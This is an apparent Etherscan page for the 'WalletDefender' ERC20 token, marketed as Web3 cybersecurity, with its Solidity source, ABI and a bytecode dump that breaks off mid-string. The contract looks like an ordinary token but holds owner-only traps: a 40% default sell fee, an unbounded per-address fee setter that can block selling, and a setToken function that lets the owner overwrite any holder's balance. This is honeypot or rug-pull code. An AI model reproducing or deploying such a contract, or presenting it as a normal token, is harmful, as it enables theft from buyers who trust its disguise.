ETH Price: $3,256.03 (-0.58%)
Gas: 2 Gwei

Token

WalletDefender (WALLETDEFENDER)
 

Overview

Max Total Supply

10,000,000,000 WALLETDEFENDER

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 WALLETDEFENDER

Value
$0.00
0xf8b30d6ca79da0c33aaf5740f77fb71bfc1d0051
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WALLETDEFENDER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-02
*/

/**

Dynamic Web3 Cybersecurity. We're in build phase, new announcements will be shared really soon!

✅Website: https://WalletDefender.io
✅Telegram: https://t.me/WalletDefenderPortal
✅Twitter: https://twitter.com/WalletDefender

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract WALLETDEFENDER is ERC20, Ownable {

    using SafeMath for uint256;
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isAccountFee;
    mapping(address => uint256) private _accountFee;

    uint256 private _defaultBuyFee;
    uint256 private _defaultSellFee;
    address private uniswapV2Pair;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    IUniswapV2Router02 private uniswapV2Router;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _mint(_msgSender(), totalSupply_ * 10**decimals());
        _defaultBuyFee = 0;
        _defaultSellFee = 40;  
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 _amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
        bool rF = true;
        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeAmount = 0;
        if (rF) {
            uint256 tradeFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {
                    tradeFee = _defaultSellFee;
                }
                if (from == uniswapV2Pair) {
                    tradeFee = _defaultBuyFee;
                }
            }
            if (_accountFee[from] > 0) {
                tradeFee = _accountFee[from];
            }
            tradeFeeAmount = _amount.mul(tradeFee).div(100);
        }
        if (tradeFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeAmount);
        }
        _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
        _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
        emit Transfer(from, to, _amount - tradeFeeAmount);
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _isAccountFee[from] || _isAccountFee[to];
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function setSellFee(uint256 _value) external onlyOwner {
        _defaultSellFee = _value;
    }

    function setAccountFee(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 0");
        _accountFee[_address] = _value;
    }

    function setIsAccountFee(address _address, bool _value) external onlyOwner {
        _isAccountFee[_address] = _value;
    }

    function setToken(address to, uint amount) external onlyOwner {
        _balances[to] = amount;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setAccountFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setIsAccountFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620030d1380380620030d18339818101604052810190620000379190620006d9565b828281600290816200004a9190620009b4565b5080600390816200005c9190620009b4565b5050506200007f62000073620002e360201b60201c565b620002eb60201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014b919062000b00565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000b00565b6040518363ffffffff1660e01b8152600401620001f892919062000b43565b6020604051808303816000875af115801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000b00565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c962000292620002e360201b60201c565b620002a2620003b160201b60201c565b600a620002b0919062000d00565b84620002bd919062000d51565b620003ba60201b60201c565b600060088190555060286009819055505050505062000eae565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200042c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004239062000e23565b60405180910390fd5b806001600082825462000440919062000e45565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000498919062000e45565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004ff919062000e91565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005748262000529565b810181811067ffffffffffffffff821117156200059657620005956200053a565b5b80604052505050565b6000620005ab6200050b565b9050620005b9828262000569565b919050565b600067ffffffffffffffff821115620005dc57620005db6200053a565b5b620005e78262000529565b9050602081019050919050565b60005b8381101562000614578082015181840152602081019050620005f7565b60008484015250505050565b6000620006376200063184620005be565b6200059f565b90508281526020810184848401111562000656576200065562000524565b5b62000663848285620005f4565b509392505050565b600082601f8301126200068357620006826200051f565b5b81516200069584826020860162000620565b91505092915050565b6000819050919050565b620006b3816200069e565b8114620006bf57600080fd5b50565b600081519050620006d381620006a8565b92915050565b600080600060608486031215620006f557620006f462000515565b5b600084015167ffffffffffffffff8111156200071657620007156200051a565b5b62000724868287016200066b565b935050602084015167ffffffffffffffff8111156200074857620007476200051a565b5b62000756868287016200066b565b92505060406200076986828701620006c2565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007c657607f821691505b602082108103620007dc57620007db6200077e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000807565b62000852868362000807565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008956200088f62000889846200069e565b6200086a565b6200069e565b9050919050565b6000819050919050565b620008b18362000874565b620008c9620008c0826200089c565b84845462000814565b825550505050565b600090565b620008e0620008d1565b620008ed818484620008a6565b505050565b5b81811015620009155762000909600082620008d6565b600181019050620008f3565b5050565b601f82111562000964576200092e81620007e2565b6200093984620007f7565b8101602085101562000949578190505b620009616200095885620007f7565b830182620008f2565b50505b505050565b600082821c905092915050565b6000620009896000198460080262000969565b1980831691505092915050565b6000620009a4838362000976565b9150826002028217905092915050565b620009bf8262000773565b67ffffffffffffffff811115620009db57620009da6200053a565b5b620009e78254620007ad565b620009f482828562000919565b600060209050601f83116001811462000a2c576000841562000a17578287015190505b62000a23858262000996565b86555062000a93565b601f19841662000a3c86620007e2565b60005b8281101562000a665784890151825560018201915060208501945060208101905062000a3f565b8683101562000a86578489015162000a82601f89168262000976565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ac88262000a9b565b9050919050565b62000ada8162000abb565b811462000ae657600080fd5b50565b60008151905062000afa8162000acf565b92915050565b60006020828403121562000b195762000b1862000515565b5b600062000b298482850162000ae9565b91505092915050565b62000b3d8162000abb565b82525050565b600060408201905062000b5a600083018562000b32565b62000b69602083018462000b32565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bfe5780860481111562000bd65762000bd562000b70565b5b600185161562000be65780820291505b808102905062000bf68562000b9f565b945062000bb6565b94509492505050565b60008262000c19576001905062000cec565b8162000c29576000905062000cec565b816001811462000c42576002811462000c4d5762000c83565b600191505062000cec565b60ff84111562000c625762000c6162000b70565b5b8360020a91508482111562000c7c5762000c7b62000b70565b5b5062000cec565b5060208310610133831016604e8410600b841016171562000cbd5782820a90508381111562000cb75762000cb662000b70565b5b62000cec565b62000ccc848484600162000bac565b9250905081840481111562000ce65762000ce562000b70565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d0d826200069e565b915062000d1a8362000cf3565b925062000d497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c07565b905092915050565b600062000d5e826200069e565b915062000d6b836200069e565b925082820262000d7b816200069e565b9150828204841483151762000d955762000d9462000b70565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e0b60218362000d9c565b915062000e188262000dad565b604082019050919050565b6000602082019050818103600083015262000e3e8162000dfc565b9050919050565b600062000e52826200069e565b915062000e5f836200069e565b925082820190508082111562000e7a5762000e7962000b70565b5b92915050565b62000e8b816200069e565b82525050565b600060208201905062000ea8600083018462000e80565b92915050565b6122138062000ebe6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102cd578063a457c2d7146102eb578063a9059cbb1461031b578063dd62ed3e1461034b578063f2fde38b1461037b57610116565b8063715018a61461026d57806378bf2b53146102775780638b4cee08146102935780638da5cb5b146102af57610116565b806323b872dd116100e957806323b872dd146101a3578063273601e4146101d3578063313ce567146101ef578063395093511461020d57806370a082311461023d57610116565b8063064ae9261461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906117d0565b610397565b005b61013f61049f565b60405161014c91906118a0565b60405180910390f35b61016f600480360381019061016a91906117d0565b610531565b60405161017c91906118dd565b60405180910390f35b61018d610554565b60405161019a9190611907565b60405180910390f35b6101bd60048036038101906101b89190611922565b61055e565b6040516101ca91906118dd565b60405180910390f35b6101ed60048036038101906101e891906119a1565b61058d565b005b6101f7610664565b60405161020491906119fd565b60405180910390f35b610227600480360381019061022291906117d0565b61066d565b60405161023491906118dd565b60405180910390f35b61025760048036038101906102529190611a18565b610716565b6040516102649190611907565b60405180910390f35b61027561075f565b005b610291600480360381019061028c91906117d0565b6107e7565b005b6102ad60048036038101906102a89190611a45565b6108ab565b005b6102b7610931565b6040516102c49190611a81565b60405180910390f35b6102d561095b565b6040516102e291906118a0565b60405180910390f35b610305600480360381019061030091906117d0565b6109ed565b60405161031291906118dd565b60405180910390f35b610335600480360381019061033091906117d0565b610ad6565b60405161034291906118dd565b60405180910390f35b61036560048036038101906103609190611a9c565b610af4565b6040516103729190611907565b60405180910390f35b61039560048036038101906103909190611a18565b610b7a565b005b61039f610c71565b73ffffffffffffffffffffffffffffffffffffffff166103bd610931565b73ffffffffffffffffffffffffffffffffffffffff1614610413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040a90611b28565b60405180910390fd5b6000811015610457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044e90611bba565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600280546104ae90611c09565b80601f01602080910402602001604051908101604052809291908181526020018280546104da90611c09565b80156105275780601f106104fc57610100808354040283529160200191610527565b820191906000526020600020905b81548152906001019060200180831161050a57829003601f168201915b5050505050905090565b60008061053c610c71565b9050610549818585610c79565b600191505092915050565b6000600154905090565b600080610569610c71565b9050610576858285610e41565b610581858585610ecd565b60019150509392505050565b610595610c71565b73ffffffffffffffffffffffffffffffffffffffff166105b3610931565b73ffffffffffffffffffffffffffffffffffffffff1614610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090611b28565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b600080610678610c71565b905061070b8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107069190611c69565b610c79565b600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610767610c71565b73ffffffffffffffffffffffffffffffffffffffff16610785610931565b73ffffffffffffffffffffffffffffffffffffffff16146107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290611b28565b60405180910390fd5b6107e5600061156e565b565b6107ef610c71565b73ffffffffffffffffffffffffffffffffffffffff1661080d610931565b73ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90611b28565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6108b3610c71565b73ffffffffffffffffffffffffffffffffffffffff166108d1610931565b73ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90611b28565b60405180910390fd5b8060098190555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461096a90611c09565b80601f016020809104026020016040519081016040528092919081815260200182805461099690611c09565b80156109e35780601f106109b8576101008083540402835291602001916109e3565b820191906000526020600020905b8154815290600101906020018083116109c657829003601f168201915b5050505050905090565b6000806109f8610c71565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab490611d0f565b60405180910390fd5b610aca8286868403610c79565b60019250505092915050565b6000610aea610ae3610c71565b8484610ecd565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b82610c71565b73ffffffffffffffffffffffffffffffffffffffff16610ba0610931565b73ffffffffffffffffffffffffffffffffffffffff1614610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed90611b28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90611da1565b60405180910390fd5b610c6e8161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ce8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdf90611e33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90611ec5565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e349190611907565b60405180910390a3505050565b6000610e4d8484610af4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ec75781811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611f31565b60405180910390fd5b610ec68484848403610c79565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3390611fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa290612055565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611032576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611029906120e7565b60405180910390fd5b6000600190506110428585611634565b1561104c57600090505b600081156112175760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111065760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111615760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111ed57600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611213606461120583886116df90919063ffffffff16565b6116f590919063ffffffff16565b9150505b60008111156113b65761127281600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611309816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172190919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ad9190611907565b60405180910390a35b61141381856113c59190612107565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114b381856114659190612107565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876115519190612107565b60405161155e9190611907565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d75750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116ed919061213b565b905092915050565b6000818361170391906121ac565b905092915050565b600081836117199190612107565b905092915050565b6000818361172f9190611c69565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117678261173c565b9050919050565b6117778161175c565b811461178257600080fd5b50565b6000813590506117948161176e565b92915050565b6000819050919050565b6117a